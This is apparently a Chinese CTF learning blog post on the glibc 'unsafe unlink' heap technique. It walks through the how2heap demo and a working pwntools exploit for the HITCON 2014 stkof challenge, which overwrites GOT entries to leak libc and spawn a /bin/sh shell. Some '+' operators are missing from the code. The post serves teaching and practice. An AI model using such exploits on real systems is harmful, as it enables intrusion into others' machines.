PWN入门(unsafe unlink)

2020-08-05 23:53:09 浏览数 (2)

wiki 上的图示

通过 how2heap 上的代码例子来看一下

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %pn", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %pnn", (void*) chunk0_ptr[3]);
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;
    free(chunk1_ptr);
    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %sn", victim_string);
    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %sn", victim_string);
}

ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)

先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)

我们来看一下,申请了两个堆之后的情况

上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的,我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过

再单步走到第 20 行(不包括)

在源码中这两行代码做了个减法,使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk

代码语言:javascript复制
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

上面那个图没对齐,用文本来解释一下

代码语言:javascript复制
gdb-peda$ x/4gx 0x0000000000601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068: 0x0000000000000000 0x0000000000602010
0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010

gdb-peda$ x/4gx 0x0000000000601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000
0x601070: 0x0000000000602010 0x0000000000000000
0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010

fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070

fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070,可以保证前后都指向我们伪造的这个 chunk,完美!

另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk,所以会将他两个合并,这就需要对 fake chunk 进行 unlink,进行如下操作

FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD

通过前面的赋值操作

P->fd = &P - 3 * size(int) P->bk = &P - 2 * size(int)

也就是说:

FD = &P - 3 * size(int)

BK = &P - 2 * size(int)

FD->bk 按照偏移寻址,就是 FD 3*size(int) 也就等于 &P,FD->bk = P,同理 BK->fd = P

这样执行下来,最终实现的效果是 P = &P - 3 * size(int)

也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址

2014 HITCON stkof

这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的

https://blog.csdn.net/weixin_42151611/article/details/97016767

代码语言:javascript复制
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(size):
 p.sendline('1')
 p.sendline(str(size))
 p.recvuntil('OKn')
 
def edit(index,size,content):
 p.sendline('2')
 p.sendline(str(index))
 p.sendline(str(size))
 p.send(content)  
 #之所以用send是因为如果sendline的话会多读入一个'n'
 #导致size和content的长度不匹配,导致错误
 p.recvuntil('OKn')
 
def delete(index):
 p.sendline('3')
 p.sendline(str(index))
 
head = 0x602140
create(0x10)#第一块
create(0x30) #第二块
create(0x80) #第三块

payload = p64(0) p64(0x20) p64(head 16-0x18) p64(head 16-0x10) p64(0x20)
payload = payload.ljust(0x30,'a')
payload  = p64(0x30) p64(0x90)
edit(2,len(payload),payload)

gdb.attach(p)
pause()
delete(3)

p.recvuntil('OKn')

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

payload = p64(0) p64(free_got) p64(puts_got) p64(atoi_got)
edit(2,len(payload),payload)

payload = p64(puts_plt)
edit(0,len(payload),payload)

delete(1)
leak = p.recvuntil('nOKn')[:6]
puts_addr = u64(leak.ljust(8,'x00'))
log.success('puts addr: ' hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: ' hex(libc_base))
sys_addr = libc_base   libc.symbols['system']
log.success('sys_addr: ' hex(sys_addr))

payload = p64(sys_addr)
edit(2,len(payload),payload)

payload = '/bin/shx00'
p.sendline(payload)
p.interactive()

运行程序,连个菜单都不给...

把名字改一下

create 功能,输入一个 size,然后申请 size 大小的堆块

会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 了)

edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出

wp 说没有 setbuf,会先申请 1024 的堆空间??

要先提前申请个 chunk 来防止他们干扰??

怎么就能防止干扰了??

其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧

黄色指的是提前申请的一个用来占空的

两个白色是缓冲区占用的,这样后面再申请就连起来了

这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)

payload 如下:

代码语言:javascript复制
payload = p64(0) p64(0x20) p64(head 16-0x18) p64(head 16-0x10) p64(0x20)
payload = payload.ljust(0x30,'a')
payload  = p64(0x30) p64(0x90)

这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head 16-0x18) 和 p64(head 16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0

这样,对第 3 个进行 free 的时候会发生 unlink,head 16 与 head 16 -0x18

那么最终的效果就是我们编辑第二个的时候就是编辑的 head 16 - 0x18,也就是 0x602138

那么

代码语言:javascript复制
payload = p64(0) p64(free_got) p64(puts_got) p64(atoi_got)
edit(2,len(payload),payload)

因为此时的第 2 块指向的是head-8,所以要先填 8 位,然后再去修改的时候才是 s[0]=free_got,s[1]=puts_got,s[2]=atoi_got

修改完之后

这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了

代码语言:javascript复制
payload = p64(puts_plt)
edit(0,len(payload),payload)

那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc,算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址

代码语言:javascript复制
payload = p64(sys_addr)
edit(2,len(payload),payload)

因为输入的时候就是往 atoi 中输入的,所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果

0 人点赞